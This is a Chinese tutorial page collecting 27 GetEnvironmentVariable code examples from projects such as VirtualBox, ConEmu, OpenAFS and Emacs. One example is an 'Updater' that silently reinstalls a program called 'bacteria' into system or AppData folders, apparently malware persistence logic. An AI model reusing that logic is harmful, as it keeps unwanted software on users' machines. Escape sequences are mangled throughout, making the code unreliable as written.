您当前的位置:首页 > IT编程 > C++
| C语言 | Java | VB | VC | python | Android | TensorFlow | C++ | oracle | 学术与代码 | cnn卷积神经网络 | gnn | 图像修复 | Keras | 数据集 | Neo4j | 自然语言处理 | 深度学习 | 医学CAD | 医学影像 | 超参数 | pointnet | pytorch | 异常检测 | Transformers | 情感分类 | 知识图谱 |

自学教程:C++ GetEnvironmentVariable函数代码示例

51自学网 2021-06-01 21:07:17
  C++
这篇教程C++ GetEnvironmentVariable函数代码示例写得很实用,希望能帮到您。

本文整理汇总了C++中GetEnvironmentVariable函数的典型用法代码示例。如果您正苦于以下问题:C++ GetEnvironmentVariable函数的具体用法?C++ GetEnvironmentVariable怎么用?C++ GetEnvironmentVariable使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。

在下文中一共展示了GetEnvironmentVariable函数的27个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。

示例1: DllMain

BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved){	switch(fdwReason)	{	case DLL_PROCESS_ATTACH:		{			// Disable thread library notifications			DisableThreadLibraryCalls(hModule);			// Install the exception handler			CExceptionHandler::Install();			// Delete chatlog			CLogFile::Open("Chatlog.log");			CLogFile::Printf("New chatlog created!");			CLogFile::Close();			// Open the log file			CLogFile::Open("Client.log");			// Log the version			CLogFile::Printf(VERSION_IDENTIFIER "| " __DATE__ " - " __TIME__ "");			// Open the settings file			CSettings::Open(SharedUtility::GetAbsolutePath("clientsettings.xml"));			// Parse the command line			CSettings::ParseCommandLine(GetCommandLine());			// Load the global vars from the settings			g_strHost = CVAR_GET_STRING("ip");			g_usPort = CVAR_GET_INTEGER("port");			g_strNick = CVAR_GET_STRING("nick");			g_strPassword = CVAR_GET_STRING("pass");			g_bWindowedMode = CVAR_GET_BOOL("windowed");			g_bFPSToggle = CVAR_GET_BOOL("fps");			// IE9 fix - disabled if disableie9fix is set or shift is pressed			if(!CVAR_GET_BOOL("disableie9fix") || GetAsyncKeyState(VK_SHIFT) > 0)			{				// Get the version info				DWORD dwHandle;				DWORD dwSize = GetFileVersionInfoSize("wininet.dll", &dwHandle);				BYTE* byteFileInfo = new BYTE[dwSize];				GetFileVersionInfo("wininet.dll", dwHandle, dwSize, byteFileInfo);				unsigned int uiLen;				VS_FIXEDFILEINFO* fileInfo;				VerQueryValue(byteFileInfo, "//", (LPVOID *)&fileInfo, &uiLen);				delete byteFileInfo;				// using IE9?				if(fileInfo->dwFileVersionMS == 0x90000)				{					// Try and load a wininet.dll from the iv:mp directory					if(!LoadLibrary(SharedUtility::GetAbsolutePath("wininet.dll")))					{						// Get path to it						char szFindPath[MAX_PATH] = {0};						char szWinSxsPath[MAX_PATH] = {0};						char szBuildVersion[] = "00000";						GetEnvironmentVariable("windir", szWinSxsPath, sizeof(szWinSxsPath));						strcat_s(szWinSxsPath, sizeof(szWinSxsPath), "//WinSxS//");						strcpy_s(szFindPath, sizeof(szFindPath), szWinSxsPath);						strcat_s(szFindPath, sizeof(szFindPath), "x86_microsoft-windows-i..tocolimplementation_31bf3856ad364e35*");						// try to find a usable wininet.dll in WinSXS (basically any non-9.x version)						bool bLoaded = false;						WIN32_FIND_DATA lpFindFileData;						HANDLE hFindFile = FindFirstFile(szFindPath, &lpFindFileData);						do						{							if(hFindFile == INVALID_HANDLE_VALUE)								break;							if(strlen(lpFindFileData.cFileName) > 63)							{								if(lpFindFileData.cFileName[62] < '9')								{									char szFullPath[MAX_PATH];									sprintf_s(szFullPath, MAX_PATH, "%s%s//wininet.dll", szWinSxsPath, lpFindFileData.cFileName);									if(LoadLibrary(szFullPath))									{										CLogFile::Printf("Using %s to address IE9 issue", szFullPath);										bLoaded = true;										break;									}								}							}						}						while(FindNextFile(hFindFile, &lpFindFileData));						// Still failed, tell the user						if(!bLoaded)						{							if(MessageBox(0, "Unfortunately, you have Internet Explorer 9 installed which is not compatible with GTA:IV. Do you want proceed anyway (and possibly crash?)", "IV:MP", MB_YESNO | MB_ICONERROR) == IDNO)							{								// Doesn't want to continue								ExitProcess(0);							}//.........这里部分代码省略.........
开发者ID:TheFRiChicken,项目名称:ivmultiplayer,代码行数:101,


示例2: WinMain

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE /*hPrevInstance*/, LPSTR /*lpCmdLine*/, int /*nShowCmd*/){    LPCTSTR lpCmdLine = GetCommandLine(); /* this line necessary for _ATL_MIN_CRT */    /*     * Need to parse the command line before initializing the VBox runtime.     */    TCHAR szTokens[] = _T("-/");    LPCTSTR lpszToken = FindOneOf(lpCmdLine, szTokens);    while (lpszToken != NULL)    {        if (WordCmpI(lpszToken, _T("Embedding")) == 0)        {            /* %HOMEDRIVE%%HOMEPATH% */            wchar_t wszHome[RTPATH_MAX];            DWORD cEnv = GetEnvironmentVariable(L"HOMEDRIVE", &wszHome[0], RTPATH_MAX);            if (cEnv && cEnv < RTPATH_MAX)            {                DWORD cwc = cEnv; /* doesn't include NUL */                cEnv = GetEnvironmentVariable(L"HOMEPATH", &wszHome[cEnv], RTPATH_MAX - cwc);                if (cEnv && cEnv < RTPATH_MAX - cwc)                {                    /* If this fails there is nothing we can do. Ignore. */                    SetCurrentDirectory(wszHome);                }            }        }        lpszToken = FindOneOf(lpszToken, szTokens);    }    /*     * Initialize the VBox runtime without loading     * the support driver.     */    int    argc = __argc;    char **argv = __argv;    RTR3InitExe(argc, &argv, 0);    /* Note that all options are given lowercase/camel case/uppercase to     * approximate case insensitive matching, which RTGetOpt doesn't offer. */    static const RTGETOPTDEF s_aOptions[] =    {        { "--embedding",    'e',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },        { "-embedding",     'e',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },        { "/embedding",     'e',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },        { "--unregserver",  'u',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },        { "-unregserver",   'u',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },        { "/unregserver",   'u',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },        { "--regserver",    'r',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },        { "-regserver",     'r',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },        { "/regserver",     'r',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },        { "--reregserver",  'f',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },        { "-reregserver",   'f',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },        { "/reregserver",   'f',    RTGETOPT_REQ_NOTHING | RTGETOPT_FLAG_ICASE },        { "--helper",       'H',    RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },        { "-helper",        'H',    RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },        { "/helper",        'H',    RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },        { "--logfile",      'F',    RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },        { "-logfile",       'F',    RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },        { "/logfile",       'F',    RTGETOPT_REQ_STRING | RTGETOPT_FLAG_ICASE },        { "--logrotate",    'R',    RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },        { "-logrotate",     'R',    RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },        { "/logrotate",     'R',    RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },        { "--logsize",      'S',    RTGETOPT_REQ_UINT64 | RTGETOPT_FLAG_ICASE },        { "-logsize",       'S',    RTGETOPT_REQ_UINT64 | RTGETOPT_FLAG_ICASE },        { "/logsize",       'S',    RTGETOPT_REQ_UINT64 | RTGETOPT_FLAG_ICASE },        { "--loginterval",  'I',    RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },        { "-loginterval",   'I',    RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },        { "/loginterval",   'I',    RTGETOPT_REQ_UINT32 | RTGETOPT_FLAG_ICASE },    };    bool            fRun = true;    bool            fRegister = false;    bool            fUnregister = false;    const char      *pszPipeName = NULL;    const char      *pszLogFile = NULL;    uint32_t        cHistory = 10;                  // enable log rotation, 10 files    uint32_t        uHistoryFileTime = RT_SEC_1DAY; // max 1 day per file    uint64_t        uHistoryFileSize = 100 * _1M;   // max 100MB per file    RTGETOPTSTATE   GetOptState;    int vrc = RTGetOptInit(&GetOptState, argc, argv, &s_aOptions[0], RT_ELEMENTS(s_aOptions), 1, 0 /*fFlags*/);    AssertRC(vrc);    RTGETOPTUNION   ValueUnion;    while ((vrc = RTGetOpt(&GetOptState, &ValueUnion)))    {        switch (vrc)        {            case 'e':                /* already handled above */                break;            case 'u':                fUnregister = true;                fRun = false;                break;            case 'r'://.........这里部分代码省略.........
开发者ID:gvsurenderreddy,项目名称:VirtualBox-OSE,代码行数:101,


示例3: GetTime

// Helper functionbool GetTime(bool bSystem, LPSYSTEMTIME lpSystemTime){	bool bHacked = false;	wchar_t szEnvVar[32] = L""; // 2013-01-01T15:16:17.95	DWORD nCurTick = GetTickCount();	DWORD nCheckDelta = nCurTick - gnTimeEnvVarLastCheck;	const DWORD nCheckDeltaMax = 1000;	if (!gnTimeEnvVarLastCheck || (nCheckDelta >= nCheckDeltaMax))	{		gnTimeEnvVarLastCheck = nCurTick;		GetEnvironmentVariable(ENV_CONEMUFAKEDT_VAR_W, szEnvVar, countof(szEnvVar));		lstrcpyn(gszTimeEnvVarSave, szEnvVar, countof(gszTimeEnvVarSave));	}	else if (*gszTimeEnvVarSave)	{		lstrcpyn(szEnvVar, gszTimeEnvVarSave, countof(szEnvVar));	}	else	{		goto wrap;	}	if (*szEnvVar)	{		SYSTEMTIME st = {0}; FILETIME ft; wchar_t* p = szEnvVar;		if (!(st.wYear = LOWORD(wcstol(p, &p, 10))) || !p || (*p != L'-' && *p != L'.'))			goto wrap;		if (!(st.wMonth = LOWORD(wcstol(p+1, &p, 10))) || !p || (*p != L'-' && *p != L'.'))			goto wrap;		if (!(st.wDay = LOWORD(wcstol(p+1, &p, 10))) || !p || (*p != L'T' && *p != L' ' && *p != 0))			goto wrap;		// Possible format 'dd.mm.yyyy'? This is returned by "cmd /k echo %DATE%"		if (st.wDay >= 1900 && st.wYear <= 31)		{			WORD w = st.wDay; st.wDay = st.wYear; st.wYear = w;		}		// Time. Optional?		if (!p || !*p)		{			SYSTEMTIME lt; GetLocalTime(&lt);			st.wHour = lt.wHour;			st.wMinute = lt.wMinute;			st.wSecond = lt.wSecond;			st.wMilliseconds = lt.wMilliseconds;		}		else		{			if (((st.wHour = LOWORD(wcstol(p+1, &p, 10)))>=24) || !p || (*p != L':' && *p != L'.'))				goto wrap;			if (((st.wMinute = LOWORD(wcstol(p+1, &p, 10)))>=60))				goto wrap;			// Seconds and MS are optional			if ((p && (*p == L':' || *p == L'.')) && ((st.wSecond = LOWORD(wcstol(p+1, &p, 10))) >= 60))				goto wrap;			// cmd`s %TIME% shows Milliseconds as two digits			if ((p && (*p == L':' || *p == L'.')) && ((st.wMilliseconds = (10*LOWORD(wcstol(p+1, &p, 10)))) >= 1000))				goto wrap;		}		// Check it		if (!SystemTimeToFileTime(&st, &ft))			goto wrap;		if (bSystem)		{			if (!LocalToSystemTime(&ft, lpSystemTime))				goto wrap;		}		else		{			*lpSystemTime = st;		}		bHacked = true;	}wrap:	return bHacked;}
开发者ID:AITW,项目名称:ConEmu,代码行数:81,


示例4: WinMain

int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,                     PSTR szCmdLine, int iCmdShow)#endif{    HKEY hkey;    LONG result_open, result_write, result_close;    FILE *output = NULL;        char environment_var[MAX_ENVVAR_LENGTH];    char install_directory[MAX_DIR_LENGTH];    char value_data[MAX_KEY_VALUE_SIZE];        // errors and switches    bool systemroot_not_found = false;    bool admin_permission = true; // assume at first that we have permission        // initialize vars    memset(environment_var, '/0', MAX_ENVVAR_LENGTH);    memset(install_directory, '/0', MAX_DIR_LENGTH);    memset(value_data, '/0', MAX_KEY_VALUE_SIZE);    #ifdef DEBUG    printf("Updater/n");    fflush(stdout);#endif    // lets prepare the directory in which bacteria should be    GetEnvironmentVariable(ENV_SYSTEMROOT, environment_var, MAX_ENVVAR_LENGTH);    sprintf(install_directory, "%s//" ADMIN_BACTERIA_INSTALL_DIR "//" ADMIN_BACTERIA_FILENAME, environment_var);        // now lets check if it's there    if(!(fopen(install_directory, "r"))) {        // its not there, check for non admin bacteria placement        memset(environment_var, '/0', MAX_ENVVAR_LENGTH);        memset(install_directory, '/0', MAX_DIR_LENGTH);                GetEnvironmentVariable(ENV_APPDATA, environment_var, MAX_ENVVAR_LENGTH);        sprintf(install_directory, "%s//" LIMITED_BACTERIA_INSTALL_DIR "//" LIMITED_BACTERIA_FILENAME, environment_var);                if(!(fopen(install_directory, "r"))) {            // bacteria is not in the system            // re-install it            memset(environment_var, '/0', MAX_ENVVAR_LENGTH);            memset(install_directory, '/0', MAX_DIR_LENGTH);                        // get systemroot            if(!(GetEnvironmentVariable(ENV_SYSTEMROOT, environment_var, MAX_ENVVAR_LENGTH))) {                if(GetLastError() == ERROR_ENVVAR_NOT_FOUND) {                    // shit, we'll have to look someplace else#ifdef DEBUG                    printf("- Error, systemroot envvar not found/n");#endif                    systemroot_not_found = true;                                    } else {                    // some unknown error#ifdef DEBUG                    printf("- Unknown error getting systemroot envvar/n");#endif                    return 0;                }            }                if(!systemroot_not_found) {#ifdef DEBUG                printf("%%systemroot%% found./n");#endif                sprintf(install_directory, "%s//" ADMIN_BACTERIA_INSTALL_DIR "//" ADMIN_BACTERIA_FILENAME, environment_var);                if(!(output = fopen(install_directory, "wb"))) {                    // we have concluded that the user doesn't have permissions#ifdef DEBUG                    printf("- Error opening %s. Assuming limited permissions./n", install_directory);#endif                    admin_permission = false;                } else {                    // successfully opened file                    if((fwrite(BACTERIA_DATA_NAME, sizeof(unsigned char), BACTERIA_DATA_SIZE, output)) < BACTERIA_DATA_SIZE) {#ifdef DEBUG                        printf("- Error writing bacteria as admin./n");#endif                        return 0;                    } else {#ifdef DEBUG                        printf("- Successfully wrote bacteria as admin./n");#endif                    }                    fclose(output);                }            }                        if(systemroot_not_found || !admin_permission) {                // since systemroot was not found                // assume that the user is not admin                admin_permission = false;                                memset(environment_var, '/0', MAX_ENVVAR_LENGTH);                memset(install_directory, '/0', MAX_DIR_LENGTH);                                // get appdata                if(!(GetEnvironmentVariable(ENV_APPDATA, environment_var, MAX_ENVVAR_LENGTH))) {                    if(GetLastError() == ERROR_ENVVAR_NOT_FOUND) {//.........这里部分代码省略.........
开发者ID:samus250,项目名称:random-c,代码行数:101,


示例5: GetIoctlHandle

static longGetIoctlHandle(char *fileNamep, HANDLE * handlep){    HKEY hk;    char *drivep = NULL;    char netbiosName[MAX_NB_NAME_LENGTH]="AFS";    DWORD CurrentState = 0;    char  HostName[64] = "";    char tbuffer[MAX_PATH]="";    HANDLE fh;    char szUser[128] = "";    char szClient[MAX_PATH] = "";    char szPath[MAX_PATH] = "";    NETRESOURCE nr;    DWORD res;    DWORD ioctlDebug = IoctlDebug();    DWORD gle;    DWORD dwAttrib;    DWORD dwSize = sizeof(szUser);    BOOL  usingRDR = FALSE;    int saveerrno;    UINT driveType;    int sharingViolation;    memset(HostName, '/0', sizeof(HostName));    gethostname(HostName, sizeof(HostName));    if (!DisableServiceManagerCheck() &&        GetServiceStatus(HostName, TEXT("TransarcAFSDaemon"), &CurrentState) == NOERROR &&        CurrentState != SERVICE_RUNNING)    {        if ( ioctlDebug ) {            saveerrno = errno;            fprintf(stderr, "pioctl GetServiceStatus(%s) == %d/r/n",                    HostName, CurrentState);            errno = saveerrno;        }	return -1;    }    if (RDR_Ready()) {        usingRDR = TRUE;        if ( ioctlDebug ) {            saveerrno = errno;            fprintf(stderr, "pioctl Redirector is ready/r/n");            errno = saveerrno;        }        if (RegOpenKey (HKEY_LOCAL_MACHINE, AFSREG_CLT_SVC_PARAM_SUBKEY, &hk) == 0)        {            DWORD dwSize = sizeof(netbiosName);            DWORD dwType = REG_SZ;            RegQueryValueExA (hk, "NetbiosName", NULL, &dwType, (PBYTE)netbiosName, &dwSize);            RegCloseKey (hk);            if ( ioctlDebug ) {                saveerrno = errno;                fprintf(stderr, "pioctl NetbiosName = /"%s/"/r/n", netbiosName);                errno = saveerrno;            }        } else {            if ( ioctlDebug ) {                saveerrno = errno;                gle = GetLastError();                fprintf(stderr, "pioctl Unable to open /"HKLM//%s/" using NetbiosName = /"AFS/" GLE=0x%x/r/n",                        HostName, CurrentState, gle);                errno = saveerrno;            }        }    } else {        if ( ioctlDebug ) {            saveerrno = errno;            fprintf(stderr, "pioctl Redirector is not ready/r/n");            errno = saveerrno;        }        if (!GetEnvironmentVariable("AFS_PIOCTL_SERVER", netbiosName, sizeof(netbiosName)))            lana_GetNetbiosName(netbiosName,LANA_NETBIOS_NAME_FULL);        if ( ioctlDebug ) {            saveerrno = errno;            fprintf(stderr, "pioctl NetbiosName = /"%s/"/r/n", netbiosName);            errno = saveerrno;        }    }    if (fileNamep) {        drivep = strchr(fileNamep, ':');        if (drivep && (drivep - fileNamep) >= 1) {            tbuffer[0] = *(drivep - 1);            tbuffer[1] = ':';            tbuffer[2] = '/0';            driveType = GetDriveType(tbuffer);            switch (driveType) {            case DRIVE_UNKNOWN:            case DRIVE_REMOTE:                if (DriveIsMappedToAFS(tbuffer, netbiosName) ||                    DriveIsGlobalAutoMapped(tbuffer))                    strcpy(&tbuffer[2], SMB_IOCTL_FILENAME);//.........这里部分代码省略.........
开发者ID:bagdxk,项目名称:openafs,代码行数:101,


示例6: copy_executable_and_dump_data

voidcopy_executable_and_dump_data (file_data *p_infile,                               file_data *p_outfile){    unsigned char *dst, *dst_save;    PIMAGE_DOS_HEADER dos_header;    PIMAGE_NT_HEADERS nt_header;    PIMAGE_NT_HEADERS dst_nt_header;    PIMAGE_SECTION_HEADER section;    PIMAGE_SECTION_HEADER dst_section;    DWORD_PTR offset;    int i;    int be_verbose = GetEnvironmentVariable ("DEBUG_DUMP", NULL, 0) > 0;#define COPY_CHUNK(message, src, size, verbose)					/  do {										/    unsigned char *s = (void *)(src);						/    unsigned long count = (size);						/    if (verbose)								/      {										/	printf ("%s/n", (message));						/	printf ("/t0x%08x Offset in input file./n", s - p_infile->file_base); 	/	printf ("/t0x%08x Offset in output file./n", dst - p_outfile->file_base); /	printf ("/t0x%08x Size in bytes./n", count);				/      }										/    memcpy (dst, s, count);							/    dst += count;								/  } while (0)#define COPY_PROC_CHUNK(message, src, size, verbose)				/  do {										/    unsigned char *s = (void *)(src);						/    unsigned long count = (size);						/    if (verbose)								/      {										/	printf ("%s/n", (message));						/	printf ("/t0x%p Address in process./n", s);				/	printf ("/t0x%p Base       output file./n", p_outfile->file_base); /	printf ("/t0x%p Offset  in output file./n", dst - p_outfile->file_base); /	printf ("/t0x%p Address in output file./n", dst); /	printf ("/t0x%p Size in bytes./n", count);				/      }										/    memcpy (dst, s, count);							/    dst += count;								/  } while (0)#define DST_TO_OFFSET()  PTR_TO_OFFSET (dst, p_outfile)#define ROUND_UP_DST(align) /  (dst = p_outfile->file_base + ROUND_UP (DST_TO_OFFSET (), (align)))#define ROUND_UP_DST_AND_ZERO(align)						/  do {										/    unsigned char *newdst = p_outfile->file_base				/      + ROUND_UP (DST_TO_OFFSET (), (align));					/    /* Zero the alignment slop; it may actually initialize real data.  */	/    memset (dst, 0, newdst - dst);						/    dst = newdst;								/  } while (0)    /* Copy the source image sequentially, ie. section by section after       copying the headers and section table, to simplify the process of       dumping the raw data for the bss and heap sections.       Note that dst is updated implicitly by each COPY_CHUNK.  */    dos_header = (PIMAGE_DOS_HEADER) p_infile->file_base;    nt_header = (PIMAGE_NT_HEADERS) (((DWORD_PTR) dos_header) +                                     dos_header->e_lfanew);    section = IMAGE_FIRST_SECTION (nt_header);    dst = (unsigned char *) p_outfile->file_base;    COPY_CHUNK ("Copying DOS header...", dos_header,                (DWORD_PTR) nt_header - (DWORD_PTR) dos_header, be_verbose);    dst_nt_header = (PIMAGE_NT_HEADERS) dst;    COPY_CHUNK ("Copying NT header...", nt_header,                (DWORD_PTR) section - (DWORD_PTR) nt_header, be_verbose);    dst_section = (PIMAGE_SECTION_HEADER) dst;    COPY_CHUNK ("Copying section table...", section,                nt_header->FileHeader.NumberOfSections * sizeof (*section),                be_verbose);    /* Align the first section's raw data area, and set the header size       field accordingly.  */    ROUND_UP_DST_AND_ZERO (dst_nt_header->OptionalHeader.FileAlignment);    dst_nt_header->OptionalHeader.SizeOfHeaders = DST_TO_OFFSET ();    for (i = 0; i < nt_header->FileHeader.NumberOfSections; i++)    {        char msg[100];        /* Windows section names are fixed 8-char strings, only        zero-terminated if the name is shorter than 8 characters.  */        sprintf (msg, "Copying raw data for %.8s...", section->Name);        dst_save = dst;        /* Update the file-relative offset for this section's raw data (if           it has any) in case things have been relocated; we will update           the other offsets below once we know where everything is.  */        if (dst_section->PointerToRawData)            dst_section->PointerToRawData = DST_TO_OFFSET ();//.........这里部分代码省略.........
开发者ID:AdrieanKhisbe,项目名称:emacs,代码行数:101,


示例7: CVAR_GET_STRING

bool CClient::OnLoad(){	// Install the exception handler	CExceptionHandler::Install();	// Set our exception handler callback	CExceptionHandler::SetCallback(ExceptionHandlerCallback);	// jenksta: wtf?	// Delete chatlog	CLogFile::Open("Chatlog.log");	CLogFile::Printf("New chatlog created!");	CLogFile::Close();	// Open the log file	CLogFile::Open("Client.log");	// Log the version	CLogFile::Printf(VERSION_IDENTIFIER "| " __DATE__ " - " __TIME__ "");	// Open the settings file	CSettings::Open(SharedUtility::GetAbsolutePath("clientsettings.xml"));	// Parse the command line	CSettings::ParseCommandLine(GetCommandLine());	// Load the global vars from the settings	m_strHost = CVAR_GET_STRING("ip");	m_usPort = CVAR_GET_INTEGER("port");	m_strNick = CVAR_GET_STRING("nick");	m_strPassword = CVAR_GET_STRING("pass");	m_bWindowedMode = CVAR_GET_BOOL("windowed");	m_bFPSToggle = CVAR_GET_BOOL("fps");	m_strConnectHost = CVAR_GET_STRING("currentconnect_server");	m_usConnectPort = CVAR_GET_INTEGER("currentconnect_port");	// IE9 fix - disabled if disableie9fix is set or shift is pressed	if(!CVAR_GET_BOOL("disableie9fix") || GetAsyncKeyState(VK_SHIFT) > 0)	{		// Get the version info		DWORD dwHandle;		DWORD dwSize = GetFileVersionInfoSize("wininet.dll", &dwHandle);		BYTE* byteFileInfo = new BYTE[dwSize];		GetFileVersionInfo("wininet.dll", dwHandle, dwSize, byteFileInfo);		unsigned int uiLen;		VS_FIXEDFILEINFO* fileInfo;		VerQueryValue(byteFileInfo, "//", (LPVOID *)&fileInfo, &uiLen);		delete byteFileInfo;		// using IE9?		if(fileInfo->dwFileVersionMS == 0x90000)		{			// Try and load a wininet.dll from the iv:mp directory			if(!LoadLibrary(SharedUtility::GetAbsolutePath("wininet.dll")))			{				// Get path to it				char szFindPath[MAX_PATH] = {0};				char szWinSxsPath[MAX_PATH] = {0};				char szBuildVersion[] = "00000";				GetEnvironmentVariable("windir", szWinSxsPath, sizeof(szWinSxsPath));				strcat_s(szWinSxsPath, sizeof(szWinSxsPath), "//WinSxS//");				strcpy_s(szFindPath, sizeof(szFindPath), szWinSxsPath);				strcat_s(szFindPath, sizeof(szFindPath), "x86_microsoft-windows-i..tocolimplementation_31bf3856ad364e35*");				// try to find a usable wininet.dll in WinSXS (basically any non-9.x version)				bool bLoaded = false;				WIN32_FIND_DATA lpFindFileData;				HANDLE hFindFile = FindFirstFile(szFindPath, &lpFindFileData);				do				{					if(hFindFile == INVALID_HANDLE_VALUE)						break;					if(strlen(lpFindFileData.cFileName) > 63)					{						if(lpFindFileData.cFileName[62] < '9')						{							char szFullPath[MAX_PATH];							sprintf_s(szFullPath, MAX_PATH, "%s%s//wininet.dll", szWinSxsPath, lpFindFileData.cFileName);							if(LoadLibrary(szFullPath))							{								CLogFile::Printf("Using %s to address IE9 issue", szFullPath);								bLoaded = true;								break;							}						}					}				}				while(FindNextFile(hFindFile, &lpFindFileData));				// Still failed, tell the user				if(!bLoaded)				{					if(MessageBox(0, "Unfortunately, you have Internet Explorer 9 installed which is not compatible with GTA:IV. Do you want proceed anyway (and possibly crash?)", "IV:MP", MB_YESNO | MB_ICONERROR) == IDNO)					{						// Doesn't want to continue						return false;					}//.........这里部分代码省略.........
开发者ID:JamesConway69,项目名称:ivmultiplayer,代码行数:101,


示例8: Restore_safemode

void Restore_safemode(){	OSVERSIONINFO OSversion;		OSversion.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);	GetVersionEx(&OSversion);	if(OSversion.dwMajorVersion<6)		{			char drivepath[150];			char systemdrive[150];			char stringvalue[512];			GetEnvironmentVariable("SYSTEMDRIVE", systemdrive, 150);			strcat (systemdrive,"/boot.ini");			GetPrivateProfileString("boot loader","default","",drivepath,150,systemdrive);			if (strlen(drivepath)==0) return;			GetPrivateProfileString("operating systems",drivepath,"",stringvalue,512,systemdrive);			if (strlen(stringvalue)==0) return;			char* p = strrchr(stringvalue, '/');			if (p == NULL) return;				*p = '/0';			WritePrivateProfileString("operating systems",drivepath,stringvalue,systemdrive);					SetFileAttributes(systemdrive,FILE_ATTRIBUTE_READONLY);		}	else		{#ifdef _X64			char systemroot[150];			GetEnvironmentVariable("SystemRoot", systemroot, 150);			char exe_file_name[MAX_PATH];			char parameters[MAX_PATH];			strcpy(exe_file_name,systemroot);			strcat(exe_file_name,"//system32//");			strcat(exe_file_name,"bcdedit.exe");			strcpy(parameters,"/deletevalue safeboot");			SHELLEXECUTEINFO shExecInfo;			shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);			shExecInfo.fMask = 0;			shExecInfo.hwnd = GetForegroundWindow();			shExecInfo.lpVerb = "runas";			shExecInfo.lpFile = exe_file_name;			shExecInfo.lpParameters = parameters;			shExecInfo.lpDirectory = NULL;			shExecInfo.nShow = SW_HIDE;			shExecInfo.hInstApp = NULL;			ShellExecuteEx(&shExecInfo);#else			typedef BOOL (WINAPI *LPFN_Wow64DisableWow64FsRedirection)(PVOID* OldValue);			typedef BOOL (WINAPI *LPFN_Wow64RevertWow64FsRedirection)(PVOID OldValue);			PVOID OldValue;  			LPFN_Wow64DisableWow64FsRedirection pfnWow64DisableWowFsRedirection = (LPFN_Wow64DisableWow64FsRedirection)GetProcAddress(GetModuleHandle("kernel32"),"Wow64DisableWow64FsRedirection");			LPFN_Wow64RevertWow64FsRedirection pfnWow64RevertWow64FsRedirection = (LPFN_Wow64RevertWow64FsRedirection)GetProcAddress(GetModuleHandle("kernel32"),"Wow64RevertWow64FsRedirection");			if (pfnWow64DisableWowFsRedirection && pfnWow64RevertWow64FsRedirection)  ///win32 on x64 system			{				if(TRUE == pfnWow64DisableWowFsRedirection(&OldValue))					{						char systemroot[150];						GetEnvironmentVariable("SystemRoot", systemroot, 150);						char exe_file_name[MAX_PATH];						char parameters[MAX_PATH];						strcpy(exe_file_name,systemroot);						strcat(exe_file_name,"//system32//");						strcat(exe_file_name,"bcdedit.exe");						strcpy(parameters,"/deletevalue safeboot");						SHELLEXECUTEINFO shExecInfo;						shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);						shExecInfo.fMask = 0;						shExecInfo.hwnd = GetForegroundWindow();						shExecInfo.lpVerb = "runas";						shExecInfo.lpFile = exe_file_name;						shExecInfo.lpParameters = parameters;						shExecInfo.lpDirectory = NULL;						shExecInfo.nShow = SW_HIDE;						shExecInfo.hInstApp = NULL;						ShellExecuteEx(&shExecInfo);						pfnWow64RevertWow64FsRedirection(OldValue);					}				else				{					char systemroot[150];					GetEnvironmentVariable("SystemRoot", systemroot, 150);					char exe_file_name[MAX_PATH];					char parameters[MAX_PATH];					strcpy(exe_file_name,systemroot);					strcat(exe_file_name,"//system32//");					strcat(exe_file_name,"bcdedit.exe");					strcpy(parameters,"/deletevalue safeboot");					SHELLEXECUTEINFO shExecInfo;					shExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);					shExecInfo.fMask = 0;					shExecInfo.hwnd = GetForegroundWindow();					shExecInfo.lpVerb = "runas";					shExecInfo.lpFile = exe_file_name;					shExecInfo.lpParameters = parameters;					shExecInfo.lpDirectory = NULL;					shExecInfo.nShow = SW_HIDE;					shExecInfo.hInstApp = NULL;					ShellExecuteEx(&shExecInfo);				}			}			else  //win32 on W32			{//.........这里部分代码省略.........
开发者ID:00farts,项目名称:italc-1,代码行数:101,


示例9: client_config_load

int client_config_load(struct mosq_config *cfg, int pub_or_sub, int argc, char *argv[]){    int rc;    FILE *fptr;    char line[1024];    int count;    char *loc = NULL;    int len;    char *args[3];#ifndef WIN32    char *env;#else    char env[1024];#endif    args[0] = NULL;    init_config(cfg);    /* Default config file */#ifndef WIN32    env = getenv("XDG_CONFIG_HOME");    if(env) {        len = strlen(env) + strlen("/mosquitto_pub") + 1;        loc = malloc(len);        if(pub_or_sub == CLIENT_PUB) {            snprintf(loc, len, "%s/mosquitto_pub", env);        } else {            snprintf(loc, len, "%s/mosquitto_sub", env);        }        loc[len-1] = '/0';    } else {        env = getenv("HOME");        if(env) {            len = strlen(env) + strlen("/.config/mosquitto_pub") + 1;            loc = malloc(len);            if(pub_or_sub == CLIENT_PUB) {                snprintf(loc, len, "%s/.config/mosquitto_pub", env);            } else {                snprintf(loc, len, "%s/.config/mosquitto_sub", env);            }            loc[len-1] = '/0';        } else {            fprintf(stderr, 